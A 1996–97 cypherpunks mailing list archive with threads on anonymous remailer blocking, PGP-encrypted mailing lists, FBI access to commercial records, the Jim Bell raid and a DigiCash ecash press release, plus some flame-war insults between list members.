]To: root@bwalk.dm.com, postmaster@bwalk.dm.com
]Date: Wed Oct 16 07:10:45 1996
]Can you folks somehow get Dr.Dimitri Vulis KOTM <dlv@bwalk.dm.com> to quit
]sending anonymous messages to cypherpunks? I have killfiled him, but he
]sends things with subject headers like "RSA" through the anonymous remailers
]and it is impossible to killfile them and still get interesting anonymous
]messages.
]
]He is evidently angry at another subscriber, Tim May, for showing the list
]how much of a fool he was regarding economics in the past, but now he shows
]how much of a fool he is. Below is an example, the subject was RSA, and it
]could only have come from him, I assure you. [BTW, this is not a threat of
]legal action on my part against you, it's just that you are lowering your
]reputations by letting him continue spewing garbage, and now that even
]killfiling him hasn't worked, I am trying to convince you to talk to him and
]encourage him to please take his lithium regularly.]
]JMR
]
]- -----Begin Included Message -----
]
]Date: Tue, 15 Oct 1996 15:35:04 -0400 (EDT)
] From: amnesia@chardos.connix.com (Anonymous)
]To: cypherpunks@toad.com
]Cc:
]
]Timmy C. Mayflower was born when his mother was on the
]toilet.
]
]
]
]- ---- End of forwarded message ----
]One of the "legitimate concerns of law enforcement" seems to be
]that I was born innocent until proven guilty and not the other
]way around. -- me
]
]Defeat the Duopoly! Vote Harry & Jo http://www.HarryBrowne96.org/
]___________________________________________________________________
]PGP id.E9BD6D35 51 5D A2 C3 92 2C 56 BE  53 2D 9C A1 B3 50 C9 C8
]I will generate a new (and bigger) PGP key-pair on election night.
]<mailto:jmr@shopmiami.com> http://www.shopmiami.com/prs/jimray
]___________________________________________________________________
]
]-----BEGIN PGP SIGNATURE-----
]Version: 2.6.2
]
]iQCVAwUBMmTCum1lp8bpvW01AQHAugP/e/GTay0y778Ziy3JbWCGBb+tRxM8Q1Zi
]Z3aIP97hNYYoD7QKi9yP1gS3ZRbg/9ZXJonWTi+zmZ7yUjmWndczmXJ2IAC+Rgpx
]7MQmrhjU4htmiMCuawNmVLZRNZMl/+kNnX15taA8GdXTcuPXUsGN0y39oMbbqT5g
]do3B4yicgrY=
]=iix/
]-----END PGP SIGNATURE-----


Say, didn't this Mmmmm... Black Unicorn shmuck threaten to sue me
for saying someone's on lithium?? :-)

> >unless the remailer knows that the recipient took some positive
> >action to indicate that s/he has a clue (such as, added a key to a
> >keyserver), their anon mail should be immediately discarded and
> >they should instead get a note:
>
> That's an interesting approach - a bit extreme, but the main cypherpunks
> applications for anonymous remailers are things like whistleblowing
> (which can be posted to the net or emailed to people like Foo Inspectors
> who _ought_ to be willing to accept anonymous mail) and potential
> co-conspirators (who _ought_ to be willing to accept it if they're
> interested in co-conspiring), and of course yourself under various aliases.

If the maintenance of destination blocking/unblocking is divorced from
the remailer operators, then the whistleblower might be able to find
out whether the recipient accepts anon e-mail. Under the scheme I sort
of proposed, if I wanted to e-mail X, I might look up via the key servers
whether X accepts anon e-mail. If he doesn't, I ping him, knowing that
my ping will be discarded and instead he'll get a form letter telling
him how to enable receipt. I can check (say) the key servers a few days
later and see if he's ready to recieve anon e-mail; then I send the
real message.

Another advantage: there's no need to put the remailer's real address
in the form line.  Right now most operators say something like
"e-mail foo@bar and/or remailer-operators to be dest-blocked".
Under the scheme I'm not quite proposing yet, you can put any
junk in the from: (it's irrelevant!) and put the instructions
for dest-blocking via a 3rd party in a comment header.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 2 Apr 1997 21:33:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: hi-tech ROT-13
In-Reply-To: <3.0.1.32.19970401232907.00634778@popd.ix.netcom.com>
Message-ID: <9Hkk5D37w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:
> At 05:37 PM 4/1/97 -0500, Andy Dustman wrote:
> >consider this a compromise between normal blocking (deliver unless told
> >otherwise) and middleman (get someone else to deliver it), which I would
> >sum up as: Ask permission before delivering the first time, and once
> >granted, deliver until told otherwise.
>
> An alternative approach is
> - ask before delivering _every_ time, unless
> - accept deliver-without-asking-again responses to cookies.
> This leaves the recipient the middle ground of
> granting permission for one message without granting it for all future
> messages, which is probably good for people unfamiliar with remailers.
> (Also, the permission-once == permission-always model doesn't stop
> spamming - a spammer can send a whole bunch of messages to the recipient,
> and if the recipient's response to the first "You have anon-mail" cookie is
> "That's interesting, let's see what it is", they get all the spam.)

I got a 60MB mailbomb the other day which didn't bother me a least bit.
That wasn't done via the remailers; it came via worldnet.att.net's open
smtp server. The initial form letter asking for permission should warn
about the possibility of their getting a large amount of crap. However
it's just as easy to get a throwaway account and mailbomb someone via
that.

I say: discard (don't keep) e-mail for folks who haven't explicitly
unblocked themselves;
treat "unblock" as "unblock everything and face the consequences".

Letting the user impose some sort of constraint on the size of the
e-mail being remailed is actually a dumb idea:
* any half-decent mail handler should do it on the user's side
* they can be mailbomed by a 1000 little messages


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 2 Apr 1997 22:33:03 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: PGP-Domo...
In-Reply-To: <TCPSMTP.17.4.3.0.48.36.2780269260.1593210@nycmetro.com>
Message-ID: <199704030045.AAA16111@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



In <TCPSMTP.17.4.3.0.48.36.2780269260.1593210@nycmetro.com>, on 04/02/97 at
11:48 PM,
   harka@nycmetro.com said:


>On another mailing-list, there has been a lengthy discussion going on
>about encrypting the list-traffic or not.
>Although I personally agree, that encrypting a public mailing list is kind
>of useless I would like to know from a technical
>perspective if PGPdomo supports _both_ PGP and plain-text
>simultaneously on the same mailing list (if no public key
>available, send plain-text, otherwise encrypt).
>Also, considering the time it takes to encrypt/sign a message for each
>individual user (assuming they use pgp), isn't that too much overhead for
>the list-server, when we deal with a few hundred people and maybe traffic
>like on cypherpunks?

>Any experiences from PGP-Domo users/admins would be greatly
>appreciated.

I haven't used PGP-Domo but I have run a PGP mailing list using my own
software for OS/2.

You can cut down on some of the overhead by encrypting the message with
multiple keys but this increases messages size. If you have a large # of
subscribers you may wish to break up your encryption into blocks, say 25
keys per message. I think it will depend on your system on how may
subscribers & messages you could handle on a daily basis. Say a user base
of 1000 subscribers with 100 messages/day that's 100,000 encryptions per
day. While I think this would be doable on a PC you would have some
serrious lag. For a large subscription base I would go to a digest format.
This would cut down those 100 messages to say 5-10 digests. This would get
you to 5-10,000 encryptions which would be much more doable.

On the mailing list that I am running I only have 4-5 messages a day with a
user base of ~130 so volume has not been a problem. :)



-- 
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
-----------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 2 Apr 1997 21:43:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP-Domo...
Message-ID: <TCPSMTP.17.4.3.0.48.36.2780269260.1593210@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On another mailing-list, there has been a lengthy discussion going
on about encrypting the list-traffic or not.
Although I personally agree, that encrypting a public mailing list
is kind of useless I would like to know from a technical
perspective if PGPdomo supports _both_ PGP and plain-text
simultaneously on the same mailing list (if no public key
available, send plain-text, otherwise encrypt).
Also, considering the time it takes to encrypt/sign a message for
each individual user (assuming they use pgp), isn't that too much
overhead for the list-server, when we deal with a few hundred
people and maybe traffic like on cypherpunks?

Any experiences from PGP-Domo users/admins would be greatly
appreciated.

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... Microsoft - "Where do you want to crash today?"
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM0NCbTltEBIEF0MBAQFasAf+ODKv3pX/bCZy66coA9SCGaB2BUgWEPfv
n42WokKZY9HY/WrRLJ4vTtbiJs+p7i9vJA37VUy7I/vAZJ5fFQOHYCWS9g8Mpxtn
kOmDoIj7grfNXDEgYa91+Shv5xEJXo62bGnW+YlX7TNeb3buQj2H91ova4Jk3oci
sBKFSRLf5EDtOjBOBXcxy1V232k2wLoefSvVORWmjHtEyzCdstenCv4jjEf5LF+E
uIzBr7+MmzJPK49lM17izHTpBv/LALBvyD2lq1IfJl0psnfbFtL2SMJeOAVdkQe/
Hqn8qeNHpLwuvPTO/QZP85aMRnHCNVVJaeHJpLJnX3pMVrLjCOGC3g==
=7xD4
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Wed, 2 Apr 1997 22:36:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: BIG BROTHER (qoute without comment)
Message-ID: <199704030636.BAA12147@pig.die.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from A.Fullerton -----

anonymous wrote:

 I've got a little story I'd like to tell.
 There's been a thread in the scanner newsgroups lately about Radio
Shack
 giving their sales lists to the FBI. Now, I KNOW a lot of baloney
 circulates through the newsgroups. This particular thread is said to
 have started with the Richard Jewell Atlanta bombing case when the FBI
 investigated electronics parts purchases at Radio Shack. And, I don't
 break the law with my scanner, so I don't care who knows that I have
 one. But let me tell a story that happened about a month ago.
 I got up very early one morning and turned on my scanner and heard the
 police that serve the warrants ("We like to pick up everyone before
 breakfast" is a quote from a local warrant server). The dispatcher said
 that the FBI had located a friend of mine who was staying in a local
 Motel 6 and that there was a warrant for his arrest. He was picked up
 (it was a mistake) and when he asked how they knew he was there, they
 told him that Motel 6 gives their guest list to the FBI every day. I
 could not belive this! I told him that there was any number of ways
that
 they could have found him. But about a week ago, I heard one of the
 warrant servers say something about Motel 6 and their FBI arrangement.
I
 am absolutely appalled that this goes on. I don't appreciate the fact
 that if I stay at any motel, that an FBI agent might view my name on a
 guest list.
 It's nobody's business where I sleep (or buy a battery from an
 ill-informed salesman).
 Whew........I feel better.
 Thanks for allowing me to rant.
 I posted a similar post to the thread in the newsgroup (anonymously) so
 escuse me if you've already read this.
 Thanks,
 Andy Fullerton

----- End of forwarded message from A.Fullerton -----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 3 Apr 1997 01:01:13 -0800 (PST)
To: nadeshda@mexred.net.mx (nadeshda vargas stepanenko)
Subject: Re: q.N2
In-Reply-To: <3342CF22.6181@mexred.net.mx>
Message-ID: <199704030313.DAA17299@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



In <3342CF22.6181@mexred.net.mx>, on 04/02/97 at 03:26 PM,
   nadeshda@mexred.net.mx (nadeshda vargas stepanenko) said:







>	To whom it may concern:

>	Thank you for answering my mail, it was very useful for me, but at the
>end you asked me why do I think legislation would be needed?

>	I have several opinions:

>	In one part I think that it is not necessary to legislate, because as
>you said you have to protect your privacy from the gobernent, I m agree
>of that, but I have other situations:

>	I m going to give you some examples:

Well these are some of the straw-men that get pulled out whenever the
Government wishes to clamp down on the rights & freedoms of it's citizens.
Whenever you here the buzz-phrases: "save the children" this means "take
away more of your rights" & "terrorist" means "anyone opposed to the
policies of the current administration". -- Translations form the "George
Orwell NewSpeak Dictionary published 1984."

>	1) I heard about several cases about individuals who use the Internet
>to attract children who are then raped and murdered, kidnapped and sold
>on the black market, many of these pediophiles work out in open in
>complete anonimaty, due to the structure of the Internet and many
>service providers.

The overwhelming cases of child abuse including pediophilia are not done by
strangers but by members of the childs family or those close to the family;
freinds, daycare workers, neighbors, cleargy, ...ect. Those with close
contact to the child on a regular basis. Any regulation on the Internet
would do nothing to prevent this. It would be just as easy to lure a child
by using the Postal system but you don't see anyone demanding that all
letters be written on postcards to they can be read.

>	2) And what about the terroists who use the Internet to comunicate with
>each other, gather information and funding establish methods,
>investigate methods of terrorism (how to make a bomb in your house using
>abono and household chemicals.  This is an area that should be strongly
>controlled, but the question is how do you do it without restricting the
>rights of the average citizen?

I can see no way of regulating such information. The basic information
required to make all kinds of nasty bombs & chemicals are taught in High
School chemistry classes. I guess we could ban all science and go back to
living in caves but that doen't see very practical now does it?

 " Those who would trade freedom for security deserve neither." -- Benjamin
Franklin.
 " When a government spends most of it's time and energy protecting itself
from it's own people it is doomed to fail" -- William H. Geiger III

-- 
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
-----------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 3 Apr 1997 03:43:40 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Raid on Jim Bell story may actually be real....
Message-ID: <1.5.4.32.19970403113524.006d0308@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


I spoke with Jim Bell last night at his home in Vancouver, WA,
and he confirmed the story.

He has not been arrested but his equipment has been
confiscated. No e-mail possible until he gets access to
other machinery.

He says he's surprised that it has taken so long for Sam
to respond.

He can be reached at 1-360-696-3911

Now this assumes that the person I spoke to is Jim Bell
and not the USG in AP clothing, and that the entire AP 
gambit is not a sting.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 3 Apr 1997 04:13:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto Sabots
Message-ID: <1.5.4.32.19970403120449.0074a6f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


     American Banker, April 2, 1997:     

     Consortium Formed For Data Security 

     Carlisle, Pa.: The data encryption community has a new 
     advocacy group: the Cryptography Products Consortium. 

     Organized under the auspices of the National Computer
     Security Association, the consortium said it aims to "foster
     interoperability and transparency of cryptography products"
     and define and advance the common goals" of vendors and
     system integrators. 

     The charter members are many of the companies active in
     data security as it relates to electronic banking and
     commerce. They include the smart card manufacturers
     Gemplus and Schlumberger as well as BBN Corp., Cylink
     Corp., Pretty Good Privacy Inc., Rainbow Technologies Inc.,
     RSA Data Security Inc., Sterling Commerce, Trust
     Information Systems Inc., and V-One Corp. 

-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Apr 1997 05:46:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: BIG BROTHER (qoute without comment)
In-Reply-To: <199704030636.BAA12147@pig.die.com>
Message-ID: <VP6k5D39w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Emery <die@pig.die.com> writes:

>  There's been a thread in the scanner newsgroups lately about Radio
> Shack
>  giving their sales lists to the FBI. Now, I KNOW a lot of baloney
>  circulates through the newsgroups. This particular thread is said to
>  have started with the Richard Jewell Atlanta bombing case when the FBI
>  investigated electronics parts purchases at Radio Shack. And, I don't
>  break the law with my scanner, so I don't care who knows that I have
>  one. But let me tell a story that happened about a month ago.
>  I got up very early one morning and turned on my scanner and heard the
>  police that serve the warrants ("We like to pick up everyone before
>  breakfast" is a quote from a local warrant server). The dispatcher said
>  that the FBI had located a friend of mine who was staying in a local
>  Motel 6 and that there was a warrant for his arrest. He was picked up
>  (it was a mistake) and when he asked how they knew he was there, they
>  told him that Motel 6 gives their guest list to the FBI every day. I
>  could not belive this! I told him that there was any number of ways
> that
>  they could have found him. But about a week ago, I heard one of the
>  warrant servers say something about Motel 6 and their FBI arrangement.
> I
>  am absolutely appalled that this goes on. I don't appreciate the fact
>  that if I stay at any motel, that an FBI agent might view my name on a
>  guest list.
>  It's nobody's business where I sleep (or buy a battery from an
>  ill-informed salesman).
>  Whew........I feel better.
>  Thanks for allowing me to rant.
>  I posted a similar post to the thread in the newsgroup (anonymously) so
>  escuse me if you've already read this.

A couple of related items (neither one quite crypto-relevant).

I used to work with a guy (who no longer lives in the U.S. - lucky him :-)
who has a company building high-end custom electronic gear. (I used to
hack up the device drivers and other software for his hardware.) He used
to get regular visits from the LEAs asking for the lists of people who
bought certain kinds of eq from him. In particular, anyone who bought
eq capable of writing magentic strips on credit cards was immediately
closely scrutinized... Note that he didn't come to them - they came to him.

I also used to work in the publishing industry (one good thing about
consulting is that you learn a lot about different industries :-) and
I have little doubt that the FBI does take a look at people who buy
mail-order books from outfits like Aegean Press and Loompanics.

In New York City, the police regularly collect high school yearbooks and
add students' photographs to the collections they show crime victims,
hoping they'll identify a suspect.  This year one of the city's newspapers
published a memo from the police commissioner ordering cop to collect
yearbooks from each school. As the result *some* school principals are
announcing that they won't turn their yearbooks over to the cops unless
one of their students is a suspect in a concrete crime (and that's
probably the case in almost every school, causing every other student's
picture to go to NYPD; and in a few schools where there are no suspects,
they'll be able to get the yearbooks from the students.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Apr 1997 05:46:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Raid on Jim Bell story may actually be real....
In-Reply-To: <1.5.4.32.19970403113524.006d0308@pop.pipeline.com>
Message-ID: <4k7k5D40w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young <jya@pipeline.com> writes:

> I spoke with Jim Bell last night at his home in Vancouver, WA,
> and he confirmed the story.
>
> He has not been arrested but his equipment has been
> confiscated. No e-mail possible until he gets access to
> other machinery.

Anybody wants to donate Jim Bell an old PC??

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Apr 1997 05:46:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP-Domo...
In-Reply-To: <TCPSMTP.17.4.3.0.48.36.2780269260.1593210@nycmetro.com>
Message-ID: <mN7k5D41w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


harka@nycmetro.com writes:

> On another mailing-list, there has been a lengthy discussion going
> on about encrypting the list-traffic or not.
> Although I personally agree, that encrypting a public mailing list
> is kind of useless I would like to know from a technical
> perspective if PGPdomo supports _both_ PGP and plain-text
> simultaneously on the same mailing list (if no public key
> available, send plain-text, otherwise encrypt).
> Also, considering the time it takes to encrypt/sign a message for
> each individual user (assuming they use pgp), isn't that too much
> overhead for the list-server, when we deal with a few hundred
> people and maybe traffic like on cypherpunks?

It depends a lot on the traffic. If it's 100 messages a day, then it's
a few hundred times the traffic on a list with a couple of messages a week.
It also depends on the kind of box you're running it on (386? Sparc 20?).
So, if I were looking to cut down on the CPU time required and the traffic,
I'd do this:

1. ecnrypt with the keys of every recipient to send out one encrypted
messages that every recipient can decrypt.

2. consider using a daily digest (or digest every few hours).

Anyway, if you have more than a dozen people on the mailing list whom
you don't know personally, you should *assume* that at least one of them
is a narc and/or an asshole who'll decrypt it and pass it on to others.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 3 Apr 1997 06:37:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: April Fool's joke? Jim Bell date mismatch
In-Reply-To: <199704012034.PAA00146@net.insp.irs.gov>
Message-ID: <Pine.GSO.3.95.970403093420.14894E-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out the dates. April 1 writing about an article in an April 2
newspaper?

-Declan


On Tue, 1 Apr 1997, IRS Inspection wrote:

> The Oregonian, Wednesday, April 2, 1997





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 3 Apr 1997 08:22:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hettinga rants Nationally at 8PM on the Talk America Radio Network
Message-ID: <v03020902af697bd16a26@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Kevin Miller, the same talk show host from Cleveland that I talked to
yesterday afternoon, is going to have me reprise yesterday's Cleveland rant
about e$, geodesic markets/societies, strong crypto, etc., on his First
Opinion radio show, at 8PM EST tonight, on the Talk America Radio Network.

Talk America's site is http://www.talkamerica.com, and it has an affiliate
station list (they're pretty much everywhere, but you have to look for
them) and program schedules for their two networks. I seem to be on Talk
America Network 1, which puts me in the company of such august luminaries
as Col. Bo Gritz. :-). I can see Vinnie grinning now, in his official
capacity as my Samoan Attorney. :-).

Talk America also seems to have an internet audio feed, but it uses a
non-RealAudio package called Xing. YMMV.

Finally, the call-in line during the show is  1-800-298-8255. I encourage
cypherpunks to call in, identify themselves as such, and straighten folks
out about the latest Clintonista crypto KRA outrage. Though, yesterday, I
core-dumped so much stuff that we got a total of 2 calls in edgewise. :-).
It was ever thus, it seems...

This one hour show makes me 45 minutes overdrawn on my Warholian 15 minute
fame allocation. Hope I can make the best of it.

Also, it may get worse. I committed on the air yesterday to come back once
a month or so, at least to Cleveland, and maybe nationally. The ganglia
twitch.

As they say, stay tuned...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Thu, 3 Apr 1997 07:28:42 -0800 (PST)
To: jim.burnes@ssds.com
Subject: Re: FC 97 and www.offshore.com.ai online
Message-ID: <Pine.LNX.3.95.970403112920.1517J-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain




>Has anyone been able to reach www.offshore.com.ai for the last
>several weeks.

I think things have been working fine.  I have been getting
plenty of mail still.

The web site has been up too.

But I have not gotten any email from you. 

If you can not reach   vince@offshore.com.ai you can also
try  vac@cs.cmu.edu  or vince@c2.org.

    --  Vince







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 3 Apr 1997 11:56:12 -0800 (PST)
To: "Jim Burnes" <cypherpunks@toad.com
Subject: Re: FC 97 and www.offshore.com.ai offline
Message-ID: <3.0.32.19970403112753.006d4188@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:46 PM 4/2/97 +0000, Jim Burnes wrote:
>Has anyone been able to reach www.offshore.com.ai for the last 
>several weeks.  I've been trying to follow up with some email to 
>Vince about getting my fellow FC '97 attendees' email addresses, but to
>no avail.
>
>If anyone on the list was at the conference, or has such a list I 
>would appreciate it.

You may want to ask Hirschfeld, the conference chair.

>BTW: hi to lucky green, eric blossom, vince and everyone that made FC 
>97 a wild adventure.

Hi back :-) It was fun, wasn't it?



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 3 Apr 1997 12:15:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Jim Bell raid
Message-ID: <3.0.1.32.19970403121619.007e3100@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

A southern Washington newspaper, The Columbian (apparently published in
Vancouver) provides a "greeked" (e.g., squiggles instead of text) version of
its front page at http://www.columbian.com (you'll have to pick the frame for
"The latest Columbian headlines") - and today's page one above-the-fold
headline is "Affidavit: Internet essay solicits murder". 

It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
haven't seen him write anything that I thought was criminal. 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM0QP37Fh6pHCoCA5AQGqFAP/XajMlyEjtiDeYHYjHeL3B03TqCaCh6t4
kbCuPzoV2zsMIfSpoVcctHiorqYnMt2oemfHwfUT9cubnVwZYMzHZzsaqQjd+OqN
2z/Hnlo4vBFb73+lYWYPTqWydI0qAGZlDS9zbBwUNqP1eQL4rgEJxq6RzdfRcsqU
5MEWLzlfxZ4=
=rzdS
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 3 Apr 1997 09:24:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: DigiCash press release
Message-ID: <v03020912af699794f001@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Fri, 4 Apr 1997 01:46:54 +1000 (EST)
From: Andreas Furche <afurche@cs.newcastle.edu.au>
To: e-payments@commerce.net
Subject: DigiCash press release
MIME-Version: 1.0
Sender: e-payments-owner@cs.newcastle.edu.au
Precedence: bulk

+----------------------------------------------------------------------+
This message was addressed to:  e-payments@lists.commerce.net
+----------------------------------------------------------------------+

--------------------------- PRESS RELEASE ---------------------------
Release date:
April 2, 1997
Tokyo, Japan

     ===========================================================
     Nomura Research Institute licenses ecash(tm) technology for
              Japan's first true electronic money system
     ===========================================================

     Nomura Research Institute (NRI) and DigiCash today announced
that NRI will be the first company in Japan to license ecash(tm)
technology for the development of an electronic money payment system.

     NRI will use ecash(tm), denominated in Japanese yen, for a
unique intranet based system that will allow NRI employees,
departments, and associated companies to exchange value in real
time, without the need for smart cards, paper, or complex systems.

     Licensees of the ecash(tm) system include Mark Twain Bank
(USA), Deutsche Bank (Germany), Merita Bank/EUnet (Finland) and
Advance Bank (Australia).

     At the moment making transactions over the Internet or an
Intranet usually means sending credit card details over computer
networks, but credit card transactions are relatively expensive and
therefore are not efficient for low value purchases. Many smartcard-
based systems are also being developed, but they require that each
consumer installs special hardware.

     Many forms of "electronic cash" are competing for attention in
Japan, but the NRI project is unique, using a low cost, real-time
method of payment that is secure, easy-to-use, and which will meet
the future requirements of banks, and Government regulators.

     DigiCash's patented ecash(tm) system allows payment of amounts
as low as one yen, and all payments are made with the same
security technology currently used by large financial institutions to
protect large international money transfers.

     "This launch in Japan represents an important collaboration
between  the premier electronic cash company and the leading
electronic commerce innovator in a country that is growing rapidly
in Internet usage," said Dr. David Chaum, inventor of electronic
cash and founder of DigiCash.

     He  added "Internet users and corporations have come to
understand the unique ability of the ecash(tm) electronic cash system
to empower them, using their own computers, to protect their
own privacy. Leading banks, both in the region and globally,
are beginning to observe this and see the strategic importance
of operating their own electronic cash systems. We are thrilled to
have NRI as a partner as we pioneer the use of ecash(tm) in Japan".

       "A great deal of discussion on electronic money in Japan has
been focused on smartcard-based ones, such an example represented by
Mondex. However, we, Nomura Research Institute, Ltd., believe
network-based 'ecash' is equally important for the accelerated
development of cyberspace economy in Japan. Introducing 'ecash' to
the Japanese yen world, NRI will propose a new model of utilization
of ecash, that is, `ecash in INTRANET'", said Mr. Teruyasu Murakami,
Director of Advanced Social Systems Division, NRI.

     Ecash(tm) is the only Internet payment system that creates
actual electronic cash coins. This concept increases security and
reduces transaction costs. It gives increased control to the user
of the system and provides consumer privacy. Merchants will also
appreciate the ecash(tm) system, where payments are quickly
authenticated and their cash value is immediately deposited in the
bank, preventing disputes and delivery delays.

     This system gives a great opportunity to merchants selling low
cost goods, information and services online.

     Craig Welch, Director of DigiCash Pty Ltd said: "Japan is
growing so fast in the use of payment methods, that it was only a
matter of time before the use of ecash(tm) became essential. NRI have
proven to be the ideal partner to make this technology a practical
implementation in Japan."


Contact DigiCash bv               Contact Nomura Research Institute,
(Amsterdam):                      Ltd. (Tokyo) :
Mr. Robert Zipplies               Mr. Naohiko Araki
Ph:  +31 20 592 9999              Ph: +81 3 5255 1981
Fax: +31 20 665 1126              Fax: +81 3 5255 9312
email: press@digicash.com         email: kouhou@nri.co.jp
http://www.digicash.com/          http://www.nri.co.jp

Contact DigiCash Pty. Ltd.        Contact DigiCash Pty Ltd
(Singapore):                      (Sydney):
Mr. Craig Welch                   Mr. Andreas Furche
Ph:  +65 9639 2670                Ph:  +61 2 375 2316
